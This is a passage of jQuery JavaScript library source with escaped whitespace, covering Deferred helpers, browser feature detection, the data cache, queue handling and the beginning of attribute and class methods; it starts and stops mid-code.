object\n\t\t\tpromise: function( obj ) {\n\t\t\t\tif ( obj == null ) {\n\t\t\t\t\tif ( promise ) {\n\t\t\t\t\t\treturn promise;\n\t\t\t\t\t}\n\t\t\t\t\tpromise = obj = {};\n\t\t\t\t}\n\t\t\t\tvar i = promiseMethods.length;\n\t\t\t\twhile( i-- ) {\n\t\t\t\t\tobj[ promiseMethods[i] ] = deferred[ promiseMethods[i] ];\n\t\t\t\t}\n\t\t\t\treturn obj;\n\t\t\t}\n\t\t});\n\t\t// Make sure only one callback list will be used\n\t\tdeferred.done( failDeferred.cancel ).fail( deferred.cancel );\n\t\t// Unexpose cancel\n\t\tdelete deferred.cancel;\n\t\t// Call given func if any\n\t\tif ( func ) {\n\t\t\tfunc.call( deferred, deferred );\n\t\t}\n\t\treturn deferred;\n\t},\n\n\t// Deferred helper\n\twhen: function( firstParam ) {\n\t\tvar args = arguments,\n\t\t\ti = 0,\n\t\t\tlength = args.length,\n\t\t\tcount = length,\n\t\t\tdeferred = length <= 1 && firstParam && jQuery.isFunction( firstParam.promise ) ?\n\t\t\t\tfirstParam :\n\t\t\t\tjQuery.Deferred();\n\t\tfunction resolveFunc( i ) {\n\t\t\treturn function( value ) {\n\t\t\t\targs[ i ] = arguments.length > 1 ? sliceDeferred.call( arguments, 0 ) : value;\n\t\t\t\tif ( !( --count ) ) {\n\t\t\t\t\t// Strange bug in FF4:\n\t\t\t\t\t// Values changed onto the arguments object sometimes end up as undefined values\n\t\t\t\t\t// outside the $.when method. Cloning the object into a fresh array solves the issue\n\t\t\t\t\tdeferred.resolveWith( deferred, sliceDeferred.call( args, 0 ) );\n\t\t\t\t}\n\t\t\t};\n\t\t}\n\t\tif ( length > 1 ) {\n\t\t\tfor( ; i < length; i++ ) {\n\t\t\t\tif ( args[ i ] && jQuery.isFunction( args[ i ].promise ) ) {\n\t\t\t\t\targs[ i ].promise().then( resolveFunc(i), deferred.reject );\n\t\t\t\t} else {\n\t\t\t\t\t--count;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ( !count ) {\n\t\t\t\tdeferred.resolveWith( deferred, args );\n\t\t\t}\n\t\t} else if ( deferred !== firstParam ) {\n\t\t\tdeferred.resolveWith( deferred, length ? [ firstParam ] : [] );\n\t\t}\n\t\treturn deferred.promise();\n\t}\n});\n\n\n\njQuery.support = (function() {\n\n\tvar div = document.createElement( \"div\" ),\n\t\tdocumentElement = document.documentElement,\n\t\tall,\n\t\ta,\n\t\tselect,\n\t\topt,\n\t\tinput,\n\t\tmarginDiv,\n\t\tsupport,\n\t\tfragment,\n\t\tbody,\n\t\tbodyStyle,\n\t\ttds,\n\t\tevents,\n\t\teventName,\n\t\ti,\n\t\tisSupported;\n\n\t// Preliminary tests\n\tdiv.setAttribute(\"className\", \"t\");\n\tdiv.innerHTML = \"   <link/><table></table><a href='/a' style='top:1px;float:left;opacity:.55;'>a</a><input type='checkbox'/>\";\n\n\tall = div.getElementsByTagName( \"*\" );\n\ta = div.getElementsByTagName( \"a\" )[ 0 ];\n\n\t// Can't get basic test support\n\tif ( !all || !all.length || !a ) {\n\t\treturn {};\n\t}\n\n\t// First batch of supports tests\n\tselect = document.createElement( \"select\" );\n\topt = select.appendChild( document.createElement(\"option\") );\n\tinput = div.getElementsByTagName( \"input\" )[ 0 ];\n\n\tsupport = {\n\t\t// IE strips leading whitespace when .innerHTML is used\n\t\tleadingWhitespace: ( div.firstChild.nodeType === 3 ),\n\n\t\t// Make sure that tbody elements aren't automatically inserted\n\t\t// IE will insert them into empty tables\n\t\ttbody: !div.getElementsByTagName( \"tbody\" ).length,\n\n\t\t// Make sure that link elements get serialized correctly by innerHTML\n\t\t// This requires a wrapper element in IE\n\t\thtmlSerialize: !!div.getElementsByTagName( \"link\" ).length,\n\n\t\t// Get the style information from getAttribute\n\t\t// (IE uses .cssText instead)\n\t\tstyle: /top/.test( a.getAttribute(\"style\") ),\n\n\t\t// Make sure that URLs aren't manipulated\n\t\t// (IE normalizes it by default)\n\t\threfNormalized: ( a.getAttribute( \"href\" ) === \"/a\" ),\n\n\t\t// Make sure that element opacity exists\n\t\t// (IE uses filter instead)\n\t\t// Use a regex to work around a WebKit issue. See #5145\n\t\topacity: /^0.55$/.test( a.style.opacity ),\n\n\t\t// Verify style float existence\n\t\t// (IE uses styleFloat instead of cssFloat)\n\t\tcssFloat: !!a.style.cssFloat,\n\n\t\t// Make sure that if no value is specified for a checkbox\n\t\t// that it defaults to \"on\".\n\t\t// (WebKit defaults to \"\" instead)\n\t\tcheckOn: ( input.value === \"on\" ),\n\n\t\t// Make sure that a selected-by-default option has a working selected property.\n\t\t// (WebKit defaults to false instead of true, IE too, if it's in an optgroup)\n\t\toptSelected: opt.selected,\n\n\t\t// Test setAttribute on camelCase class. If it works, we need attrFixes when doing get/setAttribute (ie6/7)\n\t\tgetSetAttribute: div.className !== \"t\",\n\n\t\t// Will be defined later\n\t\tsubmitBubbles: true,\n\t\tchangeBubbles: true,\n\t\tfocusinBubbles: false,\n\t\tdeleteExpando: true,\n\t\tnoCloneEvent: true,\n\t\tinlineBlockNeedsLayout: false,\n\t\tshrinkWrapBlocks: false,\n\t\treliableMarginRight: true\n\t};\n\n\t// Make sure checked status is properly cloned\n\tinput.checked = true;\n\tsupport.noCloneChecked = input.cloneNode( true ).checked;\n\n\t// Make sure that the options inside disabled selects aren't marked as disabled\n\t// (WebKit marks them as disabled)\n\tselect.disabled = true;\n\tsupport.optDisabled = !opt.disabled;\n\n\t// Test to see if it's possible to delete an expando from an element\n\t// Fails in Internet Explorer\n\ttry {\n\t\tdelete div.test;\n\t} catch( e ) {\n\t\tsupport.deleteExpando = false;\n\t}\n\n\tif ( !div.addEventListener && div.attachEvent && div.fireEvent ) {\n\t\tdiv.attachEvent( \"onclick\", function click() {\n\t\t\t// Cloning a node shouldn't copy over any\n\t\t\t// bound event handlers (IE does this)\n\t\t\tsupport.noCloneEvent = false;\n\t\t\tdiv.detachEvent( \"onclick\", click );\n\t\t});\n\t\tdiv.cloneNode( true ).fireEvent( \"onclick\" );\n\t}\n\n\t// Check if a radio maintains it's value\n\t// after being appended to the DOM\n\tinput = document.createElement(\"input\");\n\tinput.value = \"t\";\n\tinput.setAttribute(\"type\", \"radio\");\n\tsupport.radioValue = input.value === \"t\";\n\n\tinput.setAttribute(\"checked\", \"checked\");\n\tdiv.appendChild( input );\n\tfragment = document.createDocumentFragment();\n\tfragment.appendChild( div.firstChild );\n\n\t// WebKit doesn't clone checked state correctly in fragments\n\tsupport.checkClone = fragment.cloneNode( true ).cloneNode( true ).lastChild.checked;\n\n\tdiv.innerHTML = \"\";\n\n\t// Figure out if the W3C box model works as expected\n\tdiv.style.width = div.style.paddingLeft = \"1px\";\n\n\t// We use our own, invisible, body\n\tbody = document.createElement( \"body\" );\n\tbodyStyle = {\n\t\tvisibility: \"hidden\",\n\t\twidth: 0,\n\t\theight: 0,\n\t\tborder: 0,\n\t\tmargin: 0,\n\t\t// Set background to avoid IE crashes when removing (#9028)\n\t\tbackground: \"none\"\n\t};\n\tfor ( i in bodyStyle ) {\n\t\tbody.style[ i ] = bodyStyle[ i ];\n\t}\n\tbody.appendChild( div );\n\tdocumentElement.insertBefore( body, documentElement.firstChild );\n\n\t// Check if a disconnected checkbox will retain its checked\n\t// value of true after appended to the DOM (IE6/7)\n\tsupport.appendChecked = input.checked;\n\n\tsupport.boxModel = div.offsetWidth === 2;\n\n\tif ( \"zoom\" in div.style ) {\n\t\t// Check if natively block-level elements act like inline-block\n\t\t// elements when setting their display to 'inline' and giving\n\t\t// them layout\n\t\t// (IE < 8 does this)\n\t\tdiv.style.display = \"inline\";\n\t\tdiv.style.zoom = 1;\n\t\tsupport.inlineBlockNeedsLayout = ( div.offsetWidth === 2 );\n\n\t\t// Check if elements with layout shrink-wrap their children\n\t\t// (IE 6 does this)\n\t\tdiv.style.display = \"\";\n\t\tdiv.innerHTML = \"<div style='width:4px;'></div>\";\n\t\tsupport.shrinkWrapBlocks = ( div.offsetWidth !== 2 );\n\t}\n\n\tdiv.innerHTML = \"<table><tr><td style='padding:0;border:0;display:none'></td><td>t</td></tr></table>\";\n\ttds = div.getElementsByTagName( \"td\" );\n\n\t// Check if table cells still have offsetWidth/Height when they are set\n\t// to display:none and there are still other visible table cells in a\n\t// table row; if so, offsetWidth/Height are not reliable for use when\n\t// determining if an element has been hidden directly using\n\t// display:none (it is still safe to use offsets if a parent element is\n\t// hidden; don safety goggles and see bug #4512 for more information).\n\t// (only IE 8 fails this test)\n\tisSupported = ( tds[ 0 ].offsetHeight === 0 );\n\n\ttds[ 0 ].style.display = \"\";\n\ttds[ 1 ].style.display = \"none\";\n\n\t// Check if empty table cells still have offsetWidth/Height\n\t// (IE < 8 fail this test)\n\tsupport.reliableHiddenOffsets = isSupported && ( tds[ 0 ].offsetHeight === 0 );\n\tdiv.innerHTML = \"\";\n\n\t// Check if div with explicit width and no margin-right incorrectly\n\t// gets computed margin-right based on width of container. For more\n\t// info see bug #3333\n\t// Fails in WebKit before Feb 2011 nightlies\n\t// WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right\n\tif ( document.defaultView && document.defaultView.getComputedStyle ) {\n\t\tmarginDiv = document.createElement( \"div\" );\n\t\tmarginDiv.style.width = \"0\";\n\t\tmarginDiv.style.marginRight = \"0\";\n\t\tdiv.appendChild( marginDiv );\n\t\tsupport.reliableMarginRight =\n\t\t\t( parseInt( ( document.defaultView.getComputedStyle( marginDiv, null ) || { marginRight: 0 } ).marginRight, 10 ) || 0 ) === 0;\n\t}\n\n\t// Remove the body element we added\n\tbody.innerHTML = \"\";\n\tdocumentElement.removeChild( body );\n\n\t// Technique from Juriy Zaytsev\n\t// http://thinkweb2.com/projects/prototype/detecting-event-support-without-browser-sniffing/\n\t// We only care about the case where non-standard event systems\n\t// are used, namely in IE. Short-circuiting here helps us to\n\t// avoid an eval call (in setAttribute) which can cause CSP\n\t// to go haywire. See: https://developer.mozilla.org/en/Security/CSP\n\tif ( div.attachEvent ) {\n\t\tfor( i in {\n\t\t\tsubmit: 1,\n\t\t\tchange: 1,\n\t\t\tfocusin: 1\n\t\t} ) {\n\t\t\teventName = \"on\" + i;\n\t\t\tisSupported = ( eventName in div );\n\t\t\tif ( !isSupported ) {\n\t\t\t\tdiv.setAttribute( eventName, \"return;\" );\n\t\t\t\tisSupported = ( typeof div[ eventName ] === \"function\" );\n\t\t\t}\n\t\t\tsupport[ i + \"Bubbles\" ] = isSupported;\n\t\t}\n\t}\n\n\treturn support;\n})();\n\n// Keep track of boxModel\njQuery.boxModel = jQuery.support.boxModel;\n\n\n\n\nvar rbrace = /^(?:\\{.*\\}|\\[.*\\])$/,\n\trmultiDash = /([a-z])([A-Z])/g;\n\njQuery.extend({\n\tcache: {},\n\n\t// Please use with caution\n\tuuid: 0,\n\n\t// Unique for each copy of jQuery on the page\n\t// Non-digits removed to match rinlinejQuery\n\texpando: \"jQuery\" + ( jQuery.fn.jquery + Math.random() ).replace( /\\D/g, \"\" ),\n\n\t// The following elements throw uncatchable exceptions if you\n\t// attempt to add expando properties to them.\n\tnoData: {\n\t\t\"embed\": true,\n\t\t// Ban all objects except for Flash (which handle expandos)\n\t\t\"object\": \"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\",\n\t\t\"applet\": true\n\t},\n\n\thasData: function( elem ) {\n\t\telem = elem.nodeType ? jQuery.cache[ elem[jQuery.expando] ] : elem[ jQuery.expando ];\n\n\t\treturn !!elem && !isEmptyDataObject( elem );\n\t},\n\n\tdata: function( elem, name, data, pvt /* Internal Use Only */ ) {\n\t\tif ( !jQuery.acceptData( elem ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar internalKey = jQuery.expando, getByName = typeof name === \"string\", thisCache,\n\n\t\t\t// We have to handle DOM nodes and JS objects differently because IE6-7\n\t\t\t// can't GC object references properly across the DOM-JS boundary\n\t\t\tisNode = elem.nodeType,\n\n\t\t\t// Only DOM nodes need the global jQuery cache; JS object data is\n\t\t\t// attached directly to the object so GC can occur automatically\n\t\t\tcache = isNode ? jQuery.cache : elem,\n\n\t\t\t// Only defining an ID for JS objects if its cache already exists allows\n\t\t\t// the code to shortcut on the same path as a DOM node with no cache\n\t\t\tid = isNode ? elem[ jQuery.expando ] : elem[ jQuery.expando ] && jQuery.expando;\n\n\t\t// Avoid doing any more work than we need to when trying to get data on an\n\t\t// object that has no data at all\n\t\tif ( (!id || (pvt && id && !cache[ id ][ internalKey ])) && getByName && data === undefined ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( !id ) {\n\t\t\t// Only DOM nodes need a new unique ID for each element since their data\n\t\t\t// ends up in the global cache\n\t\t\tif ( isNode ) {\n\t\t\t\telem[ jQuery.expando ] = id = ++jQuery.uuid;\n\t\t\t} else {\n\t\t\t\tid = jQuery.expando;\n\t\t\t}\n\t\t}\n\n\t\tif ( !cache[ id ] ) {\n\t\t\tcache[ id ] = {};\n\n\t\t\t// TODO: This is a hack for 1.5 ONLY. Avoids exposing jQuery\n\t\t\t// metadata on plain JS objects when the object is serialized using\n\t\t\t// JSON.stringify\n\t\t\tif ( !isNode ) {\n\t\t\t\tcache[ id ].toJSON = jQuery.noop;\n\t\t\t}\n\t\t}\n\n\t\t// An object can be passed to jQuery.data instead of a key/value pair; this gets\n\t\t// shallow copied over onto the existing cache\n\t\tif ( typeof name === \"object\" || typeof name === \"function\" ) {\n\t\t\tif ( pvt ) {\n\t\t\t\tcache[ id ][ internalKey ] = jQuery.extend(cache[ id ][ internalKey ], name);\n\t\t\t} else {\n\t\t\t\tcache[ id ] = jQuery.extend(cache[ id ], name);\n\t\t\t}\n\t\t}\n\n\t\tthisCache = cache[ id ];\n\n\t\t// Internal jQuery data is stored in a separate object inside the object's data\n\t\t// cache in order to avoid key collisions between internal data and user-defined\n\t\t// data\n\t\tif ( pvt ) {\n\t\t\tif ( !thisCache[ internalKey ] ) {\n\t\t\t\tthisCache[ internalKey ] = {};\n\t\t\t}\n\n\t\t\tthisCache = thisCache[ internalKey ];\n\t\t}\n\n\t\tif ( data !== undefined ) {\n\t\t\tthisCache[ jQuery.camelCase( name ) ] = data;\n\t\t}\n\n\t\t// TODO: This is a hack for 1.5 ONLY. It will be removed in 1.6. Users should\n\t\t// not attempt to inspect the internal events object using jQuery.data, as this\n\t\t// internal data object is undocumented and subject to change.\n\t\tif ( name === \"events\" && !thisCache[name] ) {\n\t\t\treturn thisCache[ internalKey ] && thisCache[ internalKey ].events;\n\t\t}\n\n\t\treturn getByName ? thisCache[ jQuery.camelCase( name ) ] : thisCache;\n\t},\n\n\tremoveData: function( elem, name, pvt /* Internal Use Only */ ) {\n\t\tif ( !jQuery.acceptData( elem ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar internalKey = jQuery.expando, isNode = elem.nodeType,\n\n\t\t\t// See jQuery.data for more information\n\t\t\tcache = isNode ? jQuery.cache : elem,\n\n\t\t\t// See jQuery.data for more information\n\t\t\tid = isNode ? elem[ jQuery.expando ] : jQuery.expando;\n\n\t\t// If there is already no cache entry for this object, there is no\n\t\t// purpose in continuing\n\t\tif ( !cache[ id ] ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( name ) {\n\t\t\tvar thisCache = pvt ? cache[ id ][ internalKey ] : cache[ id ];\n\n\t\t\tif ( thisCache ) {\n\t\t\t\tdelete thisCache[ name ];\n\n\t\t\t\t// If there is no data left in the cache, we want to continue\n\t\t\t\t// and let the cache object itself get destroyed\n\t\t\t\tif ( !isEmptyDataObject(thisCache) ) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// See jQuery.data for more information\n\t\tif ( pvt ) {\n\t\t\tdelete cache[ id ][ internalKey ];\n\n\t\t\t// Don't destroy the parent cache unless the internal data object\n\t\t\t// had been the only thing left in it\n\t\t\tif ( !isEmptyDataObject(cache[ id ]) ) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tvar internalCache = cache[ id ][ internalKey ];\n\n\t\t// Browsers that fail expando deletion also refuse to delete expandos on\n\t\t// the window, but it will allow it on all other JS objects; other browsers\n\t\t// don't care\n\t\tif ( jQuery.support.deleteExpando || cache != window ) {\n\t\t\tdelete cache[ id ];\n\t\t} else {\n\t\t\tcache[ id ] = null;\n\t\t}\n\n\t\t// We destroyed the entire user cache at once because it's faster than\n\t\t// iterating through each key, but we need to continue to persist internal\n\t\t// data if it existed\n\t\tif ( internalCache ) {\n\t\t\tcache[ id ] = {};\n\t\t\t// TODO: This is a hack for 1.5 ONLY. Avoids exposing jQuery\n\t\t\t// metadata on plain JS objects when the object is serialized using\n\t\t\t// JSON.stringify\n\t\t\tif ( !isNode ) {\n\t\t\t\tcache[ id ].toJSON = jQuery.noop;\n\t\t\t}\n\n\t\t\tcache[ id ][ internalKey ] = internalCache;\n\n\t\t// Otherwise, we need to eliminate the expando on the node to avoid\n\t\t// false lookups in the cache for entries that no longer exist\n\t\t} else if ( isNode ) {\n\t\t\t// IE does not allow us to delete expando properties from nodes,\n\t\t\t// nor does it have a removeAttribute function on Document nodes;\n\t\t\t// we must handle all of these cases\n\t\t\tif ( jQuery.support.deleteExpando ) {\n\t\t\t\tdelete elem[ jQuery.expando ];\n\t\t\t} else if ( elem.removeAttribute ) {\n\t\t\t\telem.removeAttribute( jQuery.expando );\n\t\t\t} else {\n\t\t\t\telem[ jQuery.expando ] = null;\n\t\t\t}\n\t\t}\n\t},\n\n\t// For internal use only.\n\t_data: function( elem, name, data ) {\n\t\treturn jQuery.data( elem, name, data, true );\n\t},\n\n\t// A method for determining if a DOM node can handle the data expando\n\tacceptData: function( elem ) {\n\t\tif ( elem.nodeName ) {\n\t\t\tvar match = jQuery.noData[ elem.nodeName.toLowerCase() ];\n\n\t\t\tif ( match ) {\n\t\t\t\treturn !(match === true || elem.getAttribute(\"classid\") !== match);\n\t\t\t}\n\t\t}\n\n\t\treturn true;\n\t}\n});\n\njQuery.fn.extend({\n\tdata: function( key, value ) {\n\t\tvar data = null;\n\n\t\tif ( typeof key === \"undefined\" ) {\n\t\t\tif ( this.length ) {\n\t\t\t\tdata = jQuery.data( this[0] );\n\n\t\t\t\tif ( this[0].nodeType === 1 ) {\n\t\t\t    var attr = this[0].attributes, name;\n\t\t\t\t\tfor ( var i = 0, l = attr.length; i < l; i++ ) {\n\t\t\t\t\t\tname = attr[i].name;\n\n\t\t\t\t\t\tif ( name.indexOf( \"data-\" ) === 0 ) {\n\t\t\t\t\t\t\tname = jQuery.camelCase( name.substring(5) );\n\n\t\t\t\t\t\t\tdataAttr( this[0], name, data[ name ] );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn data;\n\n\t\t} else if ( typeof key === \"object\" ) {\n\t\t\treturn this.each(function() {\n\t\t\t\tjQuery.data( this, key );\n\t\t\t});\n\t\t}\n\n\t\tvar parts = key.split(\".\");\n\t\tparts[1] = parts[1] ? \".\" + parts[1] : \"\";\n\n\t\tif ( value === undefined ) {\n\t\t\tdata = this.triggerHandler(\"getData\" + parts[1] + \"!\", [parts[0]]);\n\n\t\t\t// Try to fetch any internally stored data first\n\t\t\tif ( data === undefined && this.length ) {\n\t\t\t\tdata = jQuery.data( this[0], key );\n\t\t\t\tdata = dataAttr( this[0], key, data );\n\t\t\t}\n\n\t\t\treturn data === undefined && parts[1] ?\n\t\t\t\tthis.data( parts[0] ) :\n\t\t\t\tdata;\n\n\t\t} else {\n\t\t\treturn this.each(function() {\n\t\t\t\tvar $this = jQuery( this ),\n\t\t\t\t\targs = [ parts[0], value ];\n\n\t\t\t\t$this.triggerHandler( \"setData\" + parts[1] + \"!\", args );\n\t\t\t\tjQuery.data( this, key, value );\n\t\t\t\t$this.triggerHandler( \"changeData\" + parts[1] + \"!\", args );\n\t\t\t});\n\t\t}\n\t},\n\n\tremoveData: function( key ) {\n\t\treturn this.each(function() {\n\t\t\tjQuery.removeData( this, key );\n\t\t});\n\t}\n});\n\nfunction dataAttr( elem, key, data ) {\n\t// If nothing was found internally, try to fetch any\n\t// data from the HTML5 data-* attribute\n\tif ( data === undefined && elem.nodeType === 1 ) {\n\t\tvar name = \"data-\" + key.replace( rmultiDash, \"$1-$2\" ).toLowerCase();\n\n\t\tdata = elem.getAttribute( name );\n\n\t\tif ( typeof data === \"string\" ) {\n\t\t\ttry {\n\t\t\t\tdata = data === \"true\" ? true :\n\t\t\t\tdata === \"false\" ? false :\n\t\t\t\tdata === \"null\" ? null :\n\t\t\t\t!jQuery.isNaN( data ) ? parseFloat( data ) :\n\t\t\t\t\trbrace.test( data ) ? jQuery.parseJSON( data ) :\n\t\t\t\t\tdata;\n\t\t\t} catch( e ) {}\n\n\t\t\t// Make sure we set the data so it isn't changed later\n\t\t\tjQuery.data( elem, key, data );\n\n\t\t} else {\n\t\t\tdata = undefined;\n\t\t}\n\t}\n\n\treturn data;\n}\n\n// TODO: This is a hack for 1.5 ONLY to allow objects with a single toJSON\n// property to be considered empty objects; this property always exists in\n// order to make sure JSON.stringify does not expose internal metadata\nfunction isEmptyDataObject( obj ) {\n\tfor ( var name in obj ) {\n\t\tif ( name !== \"toJSON\" ) {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\treturn true;\n}\n\n\n\n\nfunction handleQueueMarkDefer( elem, type, src ) {\n\tvar deferDataKey = type + \"defer\",\n\t\tqueueDataKey = type + \"queue\",\n\t\tmarkDataKey = type + \"mark\",\n\t\tdefer = jQuery.data( elem, deferDataKey, undefined, true );\n\tif ( defer &&\n\t\t( src === \"queue\" || !jQuery.data( elem, queueDataKey, undefined, true ) ) &&\n\t\t( src === \"mark\" || !jQuery.data( elem, markDataKey, undefined, true ) ) ) {\n\t\t// Give room for hard-coded callbacks to fire first\n\t\t// and eventually mark/queue something else on the element\n\t\tsetTimeout( function() {\n\t\t\tif ( !jQuery.data( elem, queueDataKey, undefined, true ) &&\n\t\t\t\t!jQuery.data( elem, markDataKey, undefined, true ) ) {\n\t\t\t\tjQuery.removeData( elem, deferDataKey, true );\n\t\t\t\tdefer.resolve();\n\t\t\t}\n\t\t}, 0 );\n\t}\n}\n\njQuery.extend({\n\n\t_mark: function( elem, type ) {\n\t\tif ( elem ) {\n\t\t\ttype = (type || \"fx\") + \"mark\";\n\t\t\tjQuery.data( elem, type, (jQuery.data(elem,type,undefined,true) || 0) + 1, true );\n\t\t}\n\t},\n\n\t_unmark: function( force, elem, type ) {\n\t\tif ( force !== true ) {\n\t\t\ttype = elem;\n\t\t\telem = force;\n\t\t\tforce = false;\n\t\t}\n\t\tif ( elem ) {\n\t\t\ttype = type || \"fx\";\n\t\t\tvar key = type + \"mark\",\n\t\t\t\tcount = force ? 0 : ( (jQuery.data( elem, key, undefined, true) || 1 ) - 1 );\n\t\t\tif ( count ) {\n\t\t\t\tjQuery.data( elem, key, count, true );\n\t\t\t} else {\n\t\t\t\tjQuery.removeData( elem, key, true );\n\t\t\t\thandleQueueMarkDefer( elem, type, \"mark\" );\n\t\t\t}\n\t\t}\n\t},\n\n\tqueue: function( elem, type, data ) {\n\t\tif ( elem ) {\n\t\t\ttype = (type || \"fx\") + \"queue\";\n\t\t\tvar q = jQuery.data( elem, type, undefined, true );\n\t\t\t// Speed up dequeue by getting out quickly if this is just a lookup\n\t\t\tif ( data ) {\n\t\t\t\tif ( !q || jQuery.isArray(data) ) {\n\t\t\t\t\tq = jQuery.data( elem, type, jQuery.makeArray(data), true );\n\t\t\t\t} else {\n\t\t\t\t\tq.push( data );\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn q || [];\n\t\t}\n\t},\n\n\tdequeue: function( elem, type ) {\n\t\ttype = type || \"fx\";\n\n\t\tvar queue = jQuery.queue( elem, type ),\n\t\t\tfn = queue.shift(),\n\t\t\tdefer;\n\n\t\t// If the fx queue is dequeued, always remove the progress sentinel\n\t\tif ( fn === \"inprogress\" ) {\n\t\t\tfn = queue.shift();\n\t\t}\n\n\t\tif ( fn ) {\n\t\t\t// Add a progress sentinel to prevent the fx queue from being\n\t\t\t// automatically dequeued\n\t\t\tif ( type === \"fx\" ) {\n\t\t\t\tqueue.unshift(\"inprogress\");\n\t\t\t}\n\n\t\t\tfn.call(elem, function() {\n\t\t\t\tjQuery.dequeue(elem, type);\n\t\t\t});\n\t\t}\n\n\t\tif ( !queue.length ) {\n\t\t\tjQuery.removeData( elem, type + \"queue\", true );\n\t\t\thandleQueueMarkDefer( elem, type, \"queue\" );\n\t\t}\n\t}\n});\n\njQuery.fn.extend({\n\tqueue: function( type, data ) {\n\t\tif ( typeof type !== \"string\" ) {\n\t\t\tdata = type;\n\t\t\ttype = \"fx\";\n\t\t}\n\n\t\tif ( data === undefined ) {\n\t\t\treturn jQuery.queue( this[0], type );\n\t\t}\n\t\treturn this.each(function() {\n\t\t\tvar queue = jQuery.queue( this, type, data );\n\n\t\t\tif ( type === \"fx\" && queue[0] !== \"inprogress\" ) {\n\t\t\t\tjQuery.dequeue( this, type );\n\t\t\t}\n\t\t});\n\t},\n\tdequeue: function( type ) {\n\t\treturn this.each(function() {\n\t\t\tjQuery.dequeue( this, type );\n\t\t});\n\t},\n\t// Based off of the plugin by Clint Helfers, with permission.\n\t// http://blindsignals.com/index.php/2009/07/jquery-delay/\n\tdelay: function( time, type ) {\n\t\ttime = jQuery.fx ? jQuery.fx.speeds[time] || time : time;\n\t\ttype = type || \"fx\";\n\n\t\treturn this.queue( type, function() {\n\t\t\tvar elem = this;\n\t\t\tsetTimeout(function() {\n\t\t\t\tjQuery.dequeue( elem, type );\n\t\t\t}, time );\n\t\t});\n\t},\n\tclearQueue: function( type ) {\n\t\treturn this.queue( type || \"fx\", [] );\n\t},\n\t// Get a promise resolved when queues of a certain type\n\t// are emptied (fx is the type by default)\n\tpromise: function( type, object ) {\n\t\tif ( typeof type !== \"string\" ) {\n\t\t\tobject = type;\n\t\t\ttype = undefined;\n\t\t}\n\t\ttype = type || \"fx\";\n\t\tvar defer = jQuery.Deferred(),\n\t\t\telements = this,\n\t\t\ti = elements.length,\n\t\t\tcount = 1,\n\t\t\tdeferDataKey = type + \"defer\",\n\t\t\tqueueDataKey = type + \"queue\",\n\t\t\tmarkDataKey = type + \"mark\",\n\t\t\ttmp;\n\t\tfunction resolve() {\n\t\t\tif ( !( --count ) ) {\n\t\t\t\tdefer.resolveWith( elements, [ elements ] );\n\t\t\t}\n\t\t}\n\t\twhile( i-- ) {\n\t\t\tif (( tmp = jQuery.data( elements[ i ], deferDataKey, undefined, true ) ||\n\t\t\t\t\t( jQuery.data( elements[ i ], queueDataKey, undefined, true ) ||\n\t\t\t\t\t\tjQuery.data( elements[ i ], markDataKey, undefined, true ) ) &&\n\t\t\t\t\tjQuery.data( elements[ i ], deferDataKey, jQuery._Deferred(), true ) )) {\n\t\t\t\tcount++;\n\t\t\t\ttmp.done( resolve );\n\t\t\t}\n\t\t}\n\t\tresolve();\n\t\treturn defer.promise();\n\t}\n});\n\n\n\n\nvar rclass = /[\\n\\t\\r]/g,\n\trspace = /\\s+/,\n\trreturn = /\\r/g,\n\trtype = /^(?:button|input)$/i,\n\trfocusable = /^(?:button|input|object|select|textarea)$/i,\n\trclickable = /^a(?:rea)?$/i,\n\trboolean = /^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,\n\trinvalidChar = /\\:/,\n\tformHook, boolHook;\n\njQuery.fn.extend({\n\tattr: function( name, value ) {\n\t\treturn jQuery.access( this, name, value, true, jQuery.attr );\n\t},\n\n\tremoveAttr: function( name ) {\n\t\treturn this.each(function() {\n\t\t\tjQuery.removeAttr( this, name );\n\t\t});\n\t},\n\t\n\tprop: function( name, value ) {\n\t\treturn jQuery.access( this, name, value, true, jQuery.prop );\n\t},\n\t\n\tremoveProp: function( name ) {\n\t\tname = jQuery.propFix[ name ] || name;\n\t\treturn this.each(function() {\n\t\t\t// try/catch handles cases where IE balks (such as removing a property on window)\n\t\t\ttry {\n\t\t\t\tthis[ name ] = undefined;\n\t\t\t\tdelete this[ name ];\n\t\t\t} catch( e ) {}\n\t\t});\n\t},\n\n\taddClass: function( value ) {\n\t\tif ( jQuery.isFunction( value ) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tvar self = jQuery(this);\n\t\t\t\tself.addClass( value.call(this, i, self.attr(\"class\") || \"\") );\n\t\t\t});\n\t\t}\n\n\t\tif ( value && typeof value === \"string\" ) {\n\t\t\tvar classNames = (value || \"\").split( rspace );\n\n\t\t\tfor ( var i = 0, l = this.length; i < l; i++ ) {\n\t\t\t\tvar elem = this[i];\n\n\t\t\t\tif ( elem.nodeType === 1 ) {\n\t\t\t\t\tif ( !elem.className ) {\n\t\t\t\t\t\telem.className = value;\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvar className = \" \" + elem.className + \" \",\n\t\t\t\t\t\t\tsetClass = elem.className;\n\n\t\t\t\t\t\tfor ( var c = 0, cl = classNames.length; c < cl; c++ ) {\n\t\t\t\t\t\t\tif ( className.indexOf( \" \" + classNames[c] + \" \" ) < 0 ) {\n\t\t\t\t\t\t\t\tsetClass += \" \" + classNames[c];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telem.className = jQuery.trim( setClass );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tremoveClass: function( value ) {\n\t\tif ( jQuery.isFunction(value) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tvar self = jQuery(this);\n\t\t\t\tself.removeClass( value.call(this, i, self.attr(\"class\")) 